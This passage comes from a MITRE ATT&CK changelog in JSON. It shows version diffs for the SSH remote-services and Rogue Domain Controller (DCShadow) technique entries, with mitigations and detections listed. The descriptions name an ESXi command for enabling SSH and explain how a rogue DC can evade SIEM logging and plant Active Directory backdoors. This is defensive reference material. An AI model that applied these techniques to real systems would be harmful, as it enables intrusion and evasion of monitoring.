disabled until the user enables it. On ESXi, SSH can be enabled either directly on the host (e.g., via `vim-cmd hostsvc/enable_ssh`) or via vCenter.(Citation: Sygnia ESXi Ransomware 2025)(Citation: TrendMicro ESXI Ransomware)(Citation: Sygnia Abyss Locker 2025) Modern versions of Windows include a built-in SSH server and client.(Citation: Windows SSH) The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user\\u2019s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user (i.e., [SSH Authorized Keys](https://attack.mitre.org/techniques/T1098/004)).\\n+SSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. On ESXi, SSH can be enabled either directly on the host (e.g., via `vim-cmd hostsvc/enable_ssh`) or via vCenter.(Citation: Sygnia ESXi Ransomware 2025)(Citation: TrendMicro ESXI Ransomware)(Citation: Sygnia Abyss Locker 2025) Modern versions of Windows include a built-in SSH server and client.(Citation: Windows SSH) The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user\\u2019s public key must be in a special file on the computer running the server that lists which keypairs are allowed to log in as that user (i.e., [SSH Authorized Keys](https://attack.mitre.org/techniques/T1098/004)).\"}}}",
                    "previous_version": "1.4",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to70__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to70__0\"><a href=\"#difflib_chg_to70__top\">t</a></td><td class=\"diff_header\" id=\"from70_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;use&nbsp;[Valid&nbsp;Accounts](https://attack.mitre.or</td><td class=\"diff_next\"><a href=\"#difflib_chg_to70__top\">t</a></td><td class=\"diff_header\" id=\"to70_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;use&nbsp;[Valid&nbsp;Accounts](https://attack.mitre.or</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g/techniques/T1078)&nbsp;to&nbsp;log&nbsp;into&nbsp;remote&nbsp;machines&nbsp;using&nbsp;Secure</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g/techniques/T1078)&nbsp;to&nbsp;log&nbsp;into&nbsp;remote&nbsp;machines&nbsp;using&nbsp;Secure</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Shell&nbsp;(SSH).&nbsp;The&nbsp;adversary&nbsp;may&nbsp;then&nbsp;perform&nbsp;actions&nbsp;as&nbsp;the&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Shell&nbsp;(SSH).&nbsp;The&nbsp;adversary&nbsp;may&nbsp;then&nbsp;perform&nbsp;actions&nbsp;as&nbsp;the&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">logged-on&nbsp;user.&nbsp;&nbsp;SSH&nbsp;is&nbsp;a&nbsp;protocol&nbsp;that&nbsp;allows&nbsp;authorized&nbsp;us</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">logged-on&nbsp;user.&nbsp;&nbsp;SSH&nbsp;is&nbsp;a&nbsp;protocol&nbsp;that&nbsp;allows&nbsp;authorized&nbsp;us</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ers&nbsp;to&nbsp;open&nbsp;remote&nbsp;shells&nbsp;on&nbsp;other&nbsp;computers.&nbsp;Many&nbsp;Linux&nbsp;and</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ers&nbsp;to&nbsp;open&nbsp;remote&nbsp;shells&nbsp;on&nbsp;other&nbsp;computers.&nbsp;Many&nbsp;Linux&nbsp;and</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;macOS&nbsp;versions&nbsp;come&nbsp;with&nbsp;SSH&nbsp;installed&nbsp;by&nbsp;default,&nbsp;although</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;macOS&nbsp;versions&nbsp;come&nbsp;with&nbsp;SSH&nbsp;installed&nbsp;by&nbsp;default,&nbsp;although</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;typically&nbsp;disabled&nbsp;until&nbsp;the&nbsp;user&nbsp;enables&nbsp;it.&nbsp;On&nbsp;ESXi,&nbsp;SSH&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;typically&nbsp;disabled&nbsp;until&nbsp;the&nbsp;user&nbsp;enables&nbsp;it.&nbsp;On&nbsp;ESXi,&nbsp;SSH&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">can&nbsp;be&nbsp;enabled&nbsp;either&nbsp;directly&nbsp;on&nbsp;the&nbsp;host&nbsp;(e.g.,&nbsp;via&nbsp;`vim-c</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">can&nbsp;be&nbsp;enabled&nbsp;either&nbsp;directly&nbsp;on&nbsp;the&nbsp;host&nbsp;(e.g.,&nbsp;via&nbsp;`vim-c</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">md&nbsp;hostsvc/enable_ssh`)&nbsp;or&nbsp;via&nbsp;vCenter.(Citation:&nbsp;Sygnia&nbsp;ESX</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">md&nbsp;hostsvc/enable_ssh`)&nbsp;or&nbsp;via&nbsp;vCenter.(Citation:&nbsp;Sygnia&nbsp;ESX</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">i&nbsp;Ransomware&nbsp;2025)(Citation:&nbsp;TrendMicro&nbsp;ESXI&nbsp;Ransomware)(Cit</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">i&nbsp;Ransomware&nbsp;2025)(Citation:&nbsp;TrendMicro&nbsp;ESXI&nbsp;Ransomware)(Cit</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ation:&nbsp;Sygnia&nbsp;Abyss&nbsp;Locker&nbsp;2025)&nbsp;Modern&nbsp;versions&nbsp;of&nbsp;Windows&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ation:&nbsp;Sygnia&nbsp;Abyss&nbsp;Locker&nbsp;2025)&nbsp;Modern&nbsp;versions&nbsp;of&nbsp;Windows&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">include&nbsp;a&nbsp;built-in&nbsp;SSH&nbsp;server&nbsp;and&nbsp;client.(Citation:&nbsp;Windows&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">include&nbsp;a&nbsp;built-in&nbsp;SSH&nbsp;server&nbsp;and&nbsp;client.(Citation:&nbsp;Windows&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">SSH)&nbsp;The&nbsp;SSH&nbsp;server&nbsp;can&nbsp;be&nbsp;configured&nbsp;to&nbsp;use&nbsp;standard&nbsp;passwo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">SSH)&nbsp;The&nbsp;SSH&nbsp;server&nbsp;can&nbsp;be&nbsp;configured&nbsp;to&nbsp;use&nbsp;standard&nbsp;passwo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rd&nbsp;authentication&nbsp;or&nbsp;public-private&nbsp;keypairs&nbsp;in&nbsp;lieu&nbsp;of&nbsp;or&nbsp;i</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rd&nbsp;authentication&nbsp;or&nbsp;public-private&nbsp;keypairs&nbsp;in&nbsp;lieu&nbsp;of&nbsp;or&nbsp;i</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;addition&nbsp;to&nbsp;a&nbsp;password.&nbsp;In&nbsp;this&nbsp;authentication&nbsp;scenario,&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;addition&nbsp;to&nbsp;a&nbsp;password.&nbsp;In&nbsp;this&nbsp;authentication&nbsp;scenario,&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;user\u2019s&nbsp;public&nbsp;key&nbsp;must&nbsp;be&nbsp;in&nbsp;a&nbsp;special&nbsp;file&nbsp;on&nbsp;the&nbsp;comput</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;user\u2019s&nbsp;public&nbsp;key&nbsp;must&nbsp;be&nbsp;in&nbsp;a&nbsp;special&nbsp;file&nbsp;on&nbsp;the&nbsp;comput</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">er&nbsp;running&nbsp;the&nbsp;server&nbsp;that&nbsp;lists&nbsp;which&nbsp;keypairs&nbsp;are&nbsp;allowed&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">er&nbsp;running&nbsp;the&nbsp;server&nbsp;that&nbsp;lists&nbsp;which&nbsp;keypairs&nbsp;are&nbsp;allowed&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">to&nbsp;log<span class=\"diff_chg\">in&nbsp;as&nbsp;that&nbsp;user</span>&nbsp;(i.e.,&nbsp;[SSH&nbsp;Authorized&nbsp;Keys](https://a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">to&nbsp;log<span class=\"diff_chg\">&nbsp;in&nbsp;as&nbsp;that&nbsp;user</span>&nbsp;(i.e.,&nbsp;[SSH&nbsp;Authorized&nbsp;Keys](https://</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ttack.mitre.org/techniques/T1098/004)).</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">attack.mitre.org/techniques/T1098/004)).</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1018: User Account Management",
                            "M1032: Multi-factor Authentication",
                            "M1042: Disable or Remove Feature or Program"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0596: Behavioral Detection of Remote SSH Logins Followed by Post-Login Execution"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2018-04-18 17:59:24.739000+00:00",
                    "modified": "2026-11-04 00:39:50.827000+00:00",
                    "name": "Rogue Domain Controller",
                    "description": "Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC.(Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.\n\nRegistering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash.(Citation: Adsecurity Mimikatz Guide)\n\nThis technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors).(Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence.(Citation: DCShadow Blog)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "defense-impairment"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1207",
                            "external_id": "T1207"
                        },
                        {
                            "source_name": "DCShadow Blog",
                            "description": "Delpy, B. & LE TOUX, V. (n.d.). DCShadow. Retrieved March 20, 2018.",
                            "url": "https://www.dcshadow.com/"
                        },
                        {
                            "source_name": "Adsecurity Mimikatz Guide",
                            "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.",
                            "url": "https://adsecurity.org/?page_id=1821"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Vincent Le Toux"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": false,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "3.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:39:50.827000+00:00\", \"old_value\": \"2026-05-12 15:12:00.634000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC.(Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.\\n\\nRegistering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash.(Citation: Adsecurity Mimikatz Guide)\\n\\nThis technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors).(Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence.(Citation: DCShadow Blog)\", \"old_value\": \"Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.\\n\\nRegistering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)\\n\\nThis technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n-Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.\\n+Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC.(Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.\\n \\n-Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)\\n+Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash.(Citation: Adsecurity Mimikatz Guide)\\n \\n-This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog)\\n+This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors).(Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence.(Citation: DCShadow Blog)\"}}}",
                    "previous_version": "3.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to137__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to137__0\"><a href=\"#difflib_chg_to137__top\">t</a></td><td class=\"diff_header\" id=\"from137_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;register&nbsp;a&nbsp;rogue&nbsp;Domain&nbsp;Controller&nbsp;to&nbsp;enable</td><td class=\"diff_next\"><a href=\"#difflib_chg_to137__top\">t</a></td><td class=\"diff_header\" id=\"to137_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;register&nbsp;a&nbsp;rogue&nbsp;Domain&nbsp;Controller&nbsp;to&nbsp;enable</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;manipulation&nbsp;of&nbsp;Active&nbsp;Directory&nbsp;data.&nbsp;DCShadow&nbsp;may&nbsp;be&nbsp;used</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;manipulation&nbsp;of&nbsp;Active&nbsp;Directory&nbsp;data.&nbsp;DCShadow&nbsp;may&nbsp;be&nbsp;used</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;create&nbsp;a&nbsp;rogue&nbsp;Domain&nbsp;Controller&nbsp;(DC).&nbsp;DCShadow&nbsp;is&nbsp;a&nbsp;met</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;create&nbsp;a&nbsp;rogue&nbsp;Domain&nbsp;Controller&nbsp;(DC).&nbsp;DCShadow&nbsp;is&nbsp;a&nbsp;met</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hod&nbsp;of&nbsp;manipulating&nbsp;Active&nbsp;Directory&nbsp;(AD)&nbsp;data,&nbsp;including&nbsp;ob</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hod&nbsp;of&nbsp;manipulating&nbsp;Active&nbsp;Directory&nbsp;(AD)&nbsp;data,&nbsp;including&nbsp;ob</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">jects&nbsp;and&nbsp;schemas,&nbsp;by&nbsp;registering&nbsp;(or&nbsp;reusing&nbsp;an&nbsp;inactive&nbsp;re</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">jects&nbsp;and&nbsp;schemas,&nbsp;by&nbsp;registering&nbsp;(or&nbsp;reusing&nbsp;an&nbsp;inactive&nbsp;re</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">gistration)&nbsp;and&nbsp;simulating&nbsp;the&nbsp;behavior&nbsp;of&nbsp;a&nbsp;DC.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">gistration)&nbsp;and&nbsp;simulating&nbsp;the&nbsp;behavior&nbsp;of&nbsp;a&nbsp;DC.(Citation:&nbsp;D</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">DCShadow&nbsp;Blog)&nbsp;Once&nbsp;registered,&nbsp;a&nbsp;rogue&nbsp;DC&nbsp;may&nbsp;be&nbsp;able&nbsp;to&nbsp;in</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">CShadow&nbsp;Blog)&nbsp;Once&nbsp;registered,&nbsp;a&nbsp;rogue&nbsp;DC&nbsp;may&nbsp;be&nbsp;able&nbsp;to&nbsp;inj</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ject&nbsp;and&nbsp;replicate&nbsp;changes&nbsp;into&nbsp;AD&nbsp;infrastructure&nbsp;for&nbsp;any&nbsp;do</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ect&nbsp;and&nbsp;replicate&nbsp;changes&nbsp;into&nbsp;AD&nbsp;infrastructure&nbsp;for&nbsp;any&nbsp;dom</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">main&nbsp;object,&nbsp;including&nbsp;credentials&nbsp;and&nbsp;keys.&nbsp;&nbsp;Registering&nbsp;a&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ain&nbsp;object,&nbsp;including&nbsp;credentials&nbsp;and&nbsp;keys.&nbsp;&nbsp;Registering&nbsp;a&nbsp;r</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rogue&nbsp;DC&nbsp;involves&nbsp;creating&nbsp;a&nbsp;new&nbsp;server&nbsp;and&nbsp;nTDSDSA&nbsp;objects&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ogue&nbsp;DC&nbsp;involves&nbsp;creating&nbsp;a&nbsp;new&nbsp;server&nbsp;and&nbsp;nTDSDSA&nbsp;objects&nbsp;i</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">in&nbsp;the&nbsp;Configuration&nbsp;partition&nbsp;of&nbsp;the&nbsp;AD&nbsp;schema,&nbsp;which&nbsp;requi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;the&nbsp;Configuration&nbsp;partition&nbsp;of&nbsp;the&nbsp;AD&nbsp;schema,&nbsp;which&nbsp;requir</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">res&nbsp;Administrator&nbsp;privileges&nbsp;(either&nbsp;Domain&nbsp;or&nbsp;local&nbsp;to&nbsp;the&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es&nbsp;Administrator&nbsp;privileges&nbsp;(either&nbsp;Domain&nbsp;or&nbsp;local&nbsp;to&nbsp;the&nbsp;D</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">DC)&nbsp;or&nbsp;the&nbsp;KRBTGT&nbsp;hash.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Adsecurity&nbsp;Mimikatz&nbsp;Guide</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">C)&nbsp;or&nbsp;the&nbsp;KRBTGT&nbsp;hash.(Citation:&nbsp;Adsecurity&nbsp;Mimikatz&nbsp;Guide)&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">)&nbsp;&nbsp;This&nbsp;technique&nbsp;may&nbsp;bypass&nbsp;system&nbsp;logging&nbsp;and&nbsp;security&nbsp;mon</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;This&nbsp;technique&nbsp;may&nbsp;bypass&nbsp;system&nbsp;logging&nbsp;and&nbsp;security&nbsp;monit</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itors&nbsp;such&nbsp;as&nbsp;security&nbsp;information&nbsp;and&nbsp;event&nbsp;management&nbsp;(SIE</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ors&nbsp;such&nbsp;as&nbsp;security&nbsp;information&nbsp;and&nbsp;event&nbsp;management&nbsp;(SIEM)</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">M)&nbsp;products&nbsp;(since&nbsp;actions&nbsp;taken&nbsp;on&nbsp;a&nbsp;rogue&nbsp;DC&nbsp;may&nbsp;not&nbsp;be&nbsp;re</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;products&nbsp;(since&nbsp;actions&nbsp;taken&nbsp;on&nbsp;a&nbsp;rogue&nbsp;DC&nbsp;may&nbsp;not&nbsp;be&nbsp;repo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ported&nbsp;to&nbsp;these&nbsp;sensors).<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;DCShadow&nbsp;Blog)&nbsp;The&nbsp;tech</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rted&nbsp;to&nbsp;these&nbsp;sensors).(Citation:&nbsp;DCShadow&nbsp;Blog)&nbsp;The&nbsp;techniq</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nique&nbsp;may&nbsp;also&nbsp;be&nbsp;used&nbsp;to&nbsp;alter&nbsp;and&nbsp;delete&nbsp;replication&nbsp;and&nbsp;o</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ue&nbsp;may&nbsp;also&nbsp;be&nbsp;used&nbsp;to&nbsp;alter&nbsp;and&nbsp;delete&nbsp;replication&nbsp;and&nbsp;othe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ther&nbsp;associated&nbsp;metadata&nbsp;to&nbsp;obstruct&nbsp;forensic&nbsp;analysis.&nbsp;Adve</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;associated&nbsp;metadata&nbsp;to&nbsp;obstruct&nbsp;forensic&nbsp;analysis.&nbsp;Adversa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rsaries&nbsp;may&nbsp;also&nbsp;utilize&nbsp;this&nbsp;technique&nbsp;to&nbsp;perform&nbsp;[SID-Hist</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ries&nbsp;may&nbsp;also&nbsp;utilize&nbsp;this&nbsp;technique&nbsp;to&nbsp;perform&nbsp;[SID-History</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ory&nbsp;Injection](https://attack.mitre.org/techniques/T1134/005</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Injection](https://attack.mitre.org/techniques/T1134/005)&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 